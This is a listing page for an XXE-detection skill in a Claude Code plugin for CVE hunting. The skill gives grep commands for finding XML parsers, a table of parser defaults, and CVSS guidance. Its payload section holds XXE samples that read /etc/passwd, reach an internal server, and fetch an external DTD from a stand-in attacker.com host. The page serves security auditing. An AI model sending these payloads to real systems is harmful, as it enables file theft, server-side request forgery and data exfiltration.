Skip to content
Security
Skill

/xxe

Detect XML External Entity injection where XML parsers process untrusted input with external entity loading enabled, allowing file read or SSRF.

From plugin
find-cve-agent
6021 skills5 agents7 commands3 hooks

Claude Code

$ npx -y skills add ByamB4/find-cve-agent --skill xxe --agent claude-code

SKILL.md

xxe.SKILL.md
name: xxe
description: "Detect XML External Entity injection where XML parsers process untrusted input with external entity loading enabled, allowing file read or SSRF."
metadata:
  filePattern:
    - "**/*.js"
    - "**/*.ts"
    - "**/*.py"
    - "**/*.go"
    - "**/*.rb"
    - "**/*.php"
    - "**/*.java"
  bashPattern:
    - "semgrep.*xxe"
    - "grep.*(XMLParser|DOMParser|SAXParser|DocumentBuilder)"
  priority: 80

XXE Detection

When to Use

Audit XML processing endpoints, SOAP services, document importers (DOCX/XLSX/SVG), and any code that parses XML from untrusted sources.

Key Distinction from Entity Expansion

  • **XXE** = EXTERNAL entities (`file://`, `http://`) -- reads files or makes HTTP requests
  • **Entity expansion** = INTERNAL entity recursion (Billion Laughs) -- memory exhaustion DoS

Both can exist in the same parser, but they are different vulnerabilities.

Process

Step 1: Find XML Parsers

# JavaScript
grep -rn "DOMParser\|XMLParser\|xml2js\|libxmljs\|xmldom\|sax\|saxes" .

# Python
grep -rn "xml\.etree\|lxml\|minidom\|xml\.sax\|defusedxml\|xmltodict" .

# Go
grep -rn "xml\.Decoder\|xml\.Unmarshal\|encoding/xml" .

# Java
grep -rn "DocumentBuilder\|SAXParser\|XMLReader\|TransformerFactory\|SchemaFactory" .

# PHP
grep -rn "simplexml\|DOMDocument\|XMLReader\|xml_parse" .

# Ruby
grep -rn "Nokogiri\|REXML\|Ox\|LibXML" .

Step 2: Check External Entity Configuration

grep -rn "FEATURE_SECURE_PROCESSING\|FEATURE_EXTERNAL_ENTITIES\|FEATURE_GENERAL_ENTITIES" .
grep -rn "resolve_entities\|external_entities\|load_external\|noent\|nonet" .
grep -rn "disallow-doctype-decl\|external-general-entities\|external-parameter-entities" .
grep -rn "XXE\|external.*entity\|doctype" .

Step 3: Check Default Safety

Most modern parsers are SAFE by default. Key exceptions:

| Parser | Default External Entities | Safe? | |--------|--------------------------|-------| | xml.etree (Python) | Enabled | UNSAFE | | xml.sax (Python) | Enabled | UNSAFE | | lxml (Python) | Disabled | SAFE | | defusedxml (Python) | Disabled | SAFE | | encoding/xml (Go) | No entity support | SAFE | | Nokogiri (Ruby) | Disabled | SAFE | | REXML (Ruby) | Enabled | UNSAFE | | libxml2 (C) | Depends on flags | CHECK | | Java DocumentBuilder | Enabled | UNSAFE | | PHP simplexml | Depends on libxml2 config | CHECK | | PHP DOMDocument | Depends on libxml2 config | CHECK |

Step 4: Verify User Input Reaches Parser

Does untrusted XML reach the parser? Common sources:

  • File upload (XML, SVG, DOCX, XLSX)
  • API request body (Content-Type: application/xml)
  • Webhook payloads
  • RSS/Atom feed processing
  • SOAP requests

XXE Payloads

File Read

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

SSRF

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/api/secret">
]>
<root>&xxe;</root>

Blind XXE (Out-of-Band)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>test</root>

CVSS Guidance

  • File read (unauthenticated): HIGH 7.5
  • SSRF via XXE: HIGH 7.5-8.6
  • Blind XXE with OOB data exfiltration: HIGH 7.5
  • Authenticated XXE: MEDIUM 6.5

References

  • [Sinks](references/sinks.md)
  • [False Positive Indicators](references/false-positive-indicators.md)
  • [PoC Skeleton](references/poc-skeleton.md)
Read more
@byamb4
Ships withfind-cve-agent

Open Source CVE Hunting Harness for Claude Code A Claude Code plugin that systematically finds real CVEs in open source packages through coordinated multi-agent security research.

6021 skills5 agents
Get the whole plugin

Stars on GitHub

Momentum

stars in total
60
Star history of ByamB4/find-cve-agent on GitHub, a chart by star-history.com

Other skills on find-cve-agent.

advisory-mining

advisory-mining

Mine GitHub Security Advisories and CVE databases for incomplete fixes, finding variant vulnerabilities in patched code or…

auth-bypass

auth-bypass

Detect authentication and authorization bypass vulnerabilities including missing auth middleware, JWT algorithm confusion, IDOR,…

command-injection

command-injection

Detect OS command injection via shell execution sinks where user-controlled input reaches system commands without proper…

cross-pollination

cross-pollination

Cross-pollination multiplier technique: find a vulnerability in one package, then search for the same pattern across all similar…

More skills from other plugins.

api-security

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…

@zhaoxuya520@zhaoxuya520Install Skill
nemoclaw-user-guide

nemoclaw-user-guide

Find official NemoClaw documentation for installation, configuration, operation, or troubleshooting. Also handles requested docs…

@nvidia@nvidiaInstall Skill

Questions about xxe.

Which coding agents can use xxe?
xxe installs in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf with the skills CLI, using each agent's flag shown on this page. Flowy's auto-invocation, which fires a skill when your prompt matches, runs in Claude Code only.